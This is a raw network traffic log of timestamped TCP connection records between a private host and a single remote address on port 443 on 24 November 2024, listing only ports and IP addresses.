Nov 24, 2024 10:23:46.308032990 CET	49752	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:46.308043003 CET	443	49752	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:46.308056116 CET	49752	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:46.308059931 CET	443	49752	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:46.311677933 CET	49756	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:46.311711073 CET	443	49756	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:46.311794043 CET	49756	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:46.311970949 CET	49756	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:46.311983109 CET	443	49756	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:46.611105919 CET	443	49751	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:46.611202955 CET	443	49751	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:46.611262083 CET	49751	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:46.611367941 CET	443	49753	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:46.611452103 CET	49751	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:46.611485958 CET	443	49751	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:46.611505032 CET	49751	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:46.611512899 CET	443	49751	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:46.611546040 CET	443	49753	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:46.611593962 CET	49753	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:46.611954927 CET	49753	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:46.611963987 CET	443	49753	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:46.611974955 CET	49753	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:46.611979008 CET	443	49753	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:46.615648031 CET	49757	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:46.615678072 CET	443	49757	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:46.615746975 CET	49757	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:46.616134882 CET	49757	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:46.616147041 CET	443	49757	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:46.616641998 CET	49758	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:46.616667032 CET	443	49758	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:46.616724968 CET	49758	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:46.616862059 CET	49758	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:46.616869926 CET	443	49758	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:46.706634998 CET	443	49754	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:46.706687927 CET	443	49754	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:46.706737995 CET	49754	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:46.707011938 CET	49754	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:46.707020998 CET	443	49754	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:46.707031012 CET	49754	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:46.707035065 CET	443	49754	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:46.721959114 CET	49759	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:46.721985102 CET	443	49759	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:46.722049952 CET	49759	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:46.722482920 CET	49759	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:46.722496033 CET	443	49759	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:47.984992027 CET	443	49755	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:47.995078087 CET	49755	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:47.995110035 CET	443	49755	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:47.995840073 CET	49755	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:47.995845079 CET	443	49755	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:48.105099916 CET	443	49756	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:48.105793953 CET	49756	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:48.105818033 CET	443	49756	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:48.106446028 CET	49756	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:48.106450081 CET	443	49756	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:48.415215015 CET	443	49758	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:48.415843964 CET	49758	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:48.415860891 CET	443	49758	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:48.416490078 CET	49758	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:48.416495085 CET	443	49758	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:48.427700043 CET	443	49755	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:48.427918911 CET	443	49755	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:48.428096056 CET	49755	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:48.428096056 CET	49755	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:48.428132057 CET	49755	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:48.428147078 CET	443	49755	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:48.431317091 CET	49760	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:48.431351900 CET	443	49760	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:48.431425095 CET	49760	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:48.431730032 CET	49760	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:48.431740999 CET	443	49760	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:48.486893892 CET	443	49757	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:48.487431049 CET	49757	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:48.487447977 CET	443	49757	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:48.487926960 CET	49757	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:48.487932920 CET	443	49757	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:48.511039972 CET	443	49759	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:48.511472940 CET	49759	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:48.511492968 CET	443	49759	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:48.511920929 CET	49759	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:48.511925936 CET	443	49759	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:48.548440933 CET	443	49756	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:48.548597097 CET	443	49756	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:48.548657894 CET	49756	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:48.548763990 CET	49756	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:48.548779964 CET	443	49756	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:48.548790932 CET	49756	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:48.548798084 CET	443	49756	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:48.551716089 CET	49761	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:48.551769018 CET	443	49761	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:48.551840067 CET	49761	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:48.551978111 CET	49761	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:48.551987886 CET	443	49761	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:48.858795881 CET	443	49758	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:48.858855009 CET	443	49758	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:48.858933926 CET	49758	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:48.859220028 CET	49758	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:48.859234095 CET	443	49758	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:48.859244108 CET	49758	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:48.859249115 CET	443	49758	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:48.862371922 CET	49762	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:48.862415075 CET	443	49762	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:48.862505913 CET	49762	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:48.862673044 CET	49762	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:48.862684011 CET	443	49762	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:48.939649105 CET	443	49757	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:48.939804077 CET	443	49757	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:48.939877987 CET	49757	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:48.940088034 CET	49757	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:48.940099001 CET	443	49757	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:48.940113068 CET	49757	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:48.940119028 CET	443	49757	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:48.943527937 CET	49763	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:48.943579912 CET	443	49763	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:48.943666935 CET	49763	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:48.943882942 CET	49763	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:48.943897009 CET	443	49763	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:48.954250097 CET	443	49759	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:48.954301119 CET	443	49759	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:48.954348087 CET	49759	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:48.954524994 CET	49759	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:48.954533100 CET	443	49759	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:48.954544067 CET	49759	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:48.954547882 CET	443	49759	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:48.957108021 CET	49764	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:48.957134962 CET	443	49764	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:48.957210064 CET	49764	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:48.957366943 CET	49764	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:48.957379103 CET	443	49764	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:50.367022038 CET	443	49761	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:50.381864071 CET	49761	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:50.381892920 CET	443	49761	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:50.382375956 CET	49761	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:50.382383108 CET	443	49761	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:50.660341978 CET	443	49760	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:50.671195984 CET	49760	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:50.671228886 CET	443	49760	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:50.679056883 CET	49760	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:50.679061890 CET	443	49760	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:50.735431910 CET	443	49762	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:50.744148970 CET	49762	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:50.744163036 CET	443	49762	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:50.752600908 CET	49762	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:50.752605915 CET	443	49762	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:50.764733076 CET	443	49764	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:50.769929886 CET	443	49763	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:50.772917032 CET	49764	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:50.772926092 CET	443	49764	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:50.781079054 CET	49764	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:50.781084061 CET	443	49764	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:50.822026014 CET	49763	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:50.825913906 CET	443	49761	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:50.826020002 CET	443	49761	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:50.826103926 CET	49761	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:50.860233068 CET	49763	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:50.860251904 CET	443	49763	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:50.860902071 CET	49763	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:50.860908985 CET	443	49763	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:50.862660885 CET	49761	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:50.862684011 CET	443	49761	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:50.862694979 CET	49761	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:50.862700939 CET	443	49761	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:50.868025064 CET	49765	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:50.868072987 CET	443	49765	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:50.868138075 CET	49765	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:50.868256092 CET	49765	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:50.868267059 CET	443	49765	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:51.113894939 CET	443	49760	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:51.114089012 CET	443	49760	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:51.114173889 CET	49760	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:51.114285946 CET	49760	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:51.114303112 CET	443	49760	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:51.114311934 CET	49760	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:51.114316940 CET	443	49760	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:51.117523909 CET	49766	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:51.117558002 CET	443	49766	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:51.117621899 CET	49766	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:51.117816925 CET	49766	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:51.117827892 CET	443	49766	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:51.191256046 CET	443	49762	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:51.191323042 CET	443	49762	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:51.192919970 CET	49762	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:51.194987059 CET	49762	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:51.194998980 CET	443	49762	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:51.195008993 CET	49762	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:51.195013046 CET	443	49762	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:51.198757887 CET	49767	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:51.198807955 CET	443	49767	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:51.198898077 CET	49767	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:51.199075937 CET	49767	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:51.199090958 CET	443	49767	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:51.211998940 CET	443	49764	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:51.212053061 CET	443	49764	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:51.212258101 CET	49764	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:51.212317944 CET	49764	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:51.212331057 CET	443	49764	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:51.212341070 CET	49764	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:51.212347031 CET	443	49764	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:51.215436935 CET	49768	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:51.215476036 CET	443	49768	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:51.215511084 CET	443	49763	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:51.215543985 CET	49768	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:51.215657949 CET	443	49763	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:51.215722084 CET	49763	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:51.215739012 CET	49768	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:51.215755939 CET	443	49768	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:51.215785980 CET	49763	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:51.215812922 CET	443	49763	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:51.215831041 CET	49763	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:51.215837955 CET	443	49763	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:51.218696117 CET	49769	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:51.218727112 CET	443	49769	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:51.218787909 CET	49769	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:51.218960047 CET	49769	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:51.218971014 CET	443	49769	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:52.652477980 CET	443	49765	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:52.655189037 CET	49765	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:52.655205011 CET	443	49765	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:52.655697107 CET	49765	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:52.655704021 CET	443	49765	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:53.008687973 CET	443	49769	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:53.009407997 CET	443	49767	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:53.009769917 CET	49769	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:53.009808064 CET	443	49769	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:53.010569096 CET	49769	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:53.010575056 CET	443	49769	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:53.010684013 CET	443	49768	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:53.010734081 CET	49767	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:53.010745049 CET	443	49767	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:53.010971069 CET	49768	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:53.010997057 CET	443	49768	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:53.011195898 CET	49767	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:53.011200905 CET	443	49767	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:53.011445999 CET	49768	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:53.011452913 CET	443	49768	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:53.013098001 CET	443	49766	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:53.013362885 CET	49766	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:53.013389111 CET	443	49766	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:53.013719082 CET	49766	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:53.013725996 CET	443	49766	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:53.215881109 CET	443	49765	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:53.215954065 CET	443	49765	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:53.216022968 CET	49765	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:53.216248035 CET	49765	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:53.216270924 CET	443	49765	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:53.216284037 CET	49765	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:53.216290951 CET	443	49765	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:53.219307899 CET	49770	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:53.219362974 CET	443	49770	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:53.219440937 CET	49770	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:53.219599009 CET	49770	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:53.219610929 CET	443	49770	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:53.446882963 CET	443	49767	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:53.446958065 CET	443	49767	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:53.447014093 CET	49767	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:53.449630022 CET	49767	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:53.449675083 CET	443	49767	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:53.449701071 CET	49767	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:53.449709892 CET	443	49767	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:53.453284025 CET	49771	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:53.453311920 CET	443	49771	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:53.453404903 CET	49771	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:53.453557968 CET	49771	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:53.453568935 CET	443	49771	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:53.456787109 CET	443	49769	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:53.456837893 CET	443	49769	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:53.456886053 CET	49769	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:53.457020044 CET	49769	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:53.457026958 CET	443	49769	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:53.457036972 CET	49769	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:53.457041025 CET	443	49769	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:53.460547924 CET	443	49768	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:53.460598946 CET	443	49768	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:53.460649014 CET	49768	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:53.461105108 CET	49772	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:53.461138964 CET	443	49772	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:53.461201906 CET	49772	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:53.461204052 CET	49768	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:53.461227894 CET	443	49768	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:53.461242914 CET	49768	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:53.461250067 CET	443	49768	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:53.461338043 CET	49772	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:53.461354971 CET	443	49772	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:53.463615894 CET	49773	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:53.463675976 CET	443	49773	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:53.463752031 CET	49773	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:53.463979006 CET	49773	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:53.463999033 CET	443	49773	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:53.479182959 CET	443	49766	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:53.479362965 CET	443	49766	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:53.479424953 CET	49766	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:53.480829000 CET	49766	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:53.480839014 CET	443	49766	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:53.480850935 CET	49766	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:53.480855942 CET	443	49766	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:53.582709074 CET	49774	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:53.582729101 CET	443	49774	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:53.582811117 CET	49774	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:53.706299067 CET	49774	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:53.706317902 CET	443	49774	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:55.091599941 CET	443	49770	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:55.093864918 CET	49770	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:55.093878984 CET	443	49770	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:55.094368935 CET	49770	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:55.094378948 CET	443	49770	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:55.250932932 CET	443	49771	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:55.251573086 CET	49771	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:55.251595020 CET	443	49771	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:55.252063036 CET	49771	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:55.252068043 CET	443	49771	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:55.256848097 CET	443	49772	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:55.257231951 CET	49772	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:55.257251978 CET	443	49772	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:55.257671118 CET	49772	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:55.257677078 CET	443	49772	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:55.262295008 CET	443	49773	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:55.262634993 CET	49773	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:55.262667894 CET	443	49773	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:55.263020992 CET	49773	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:55.263027906 CET	443	49773	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:55.544806004 CET	443	49770	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:55.544872999 CET	443	49770	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:55.544948101 CET	49770	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:55.545187950 CET	49770	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:55.545205116 CET	443	49770	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:55.545238972 CET	49770	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:55.545243979 CET	443	49770	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:55.548382044 CET	49775	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:55.548433065 CET	443	49775	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:55.548505068 CET	49775	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:55.548666954 CET	49775	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:55.548677921 CET	443	49775	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:55.598392010 CET	443	49774	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:55.598994970 CET	49774	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:55.599023104 CET	443	49774	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:55.599486113 CET	49774	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:23:55.599490881 CET	443	49774	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:55.695077896 CET	443	49771	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:55.695141077 CET	443	49771	13.107.246.63	192.168.2.5
Nov 24, 2024 10:23:55.695194006 CET	49771	443	192.168.2.5	13.107.246.63
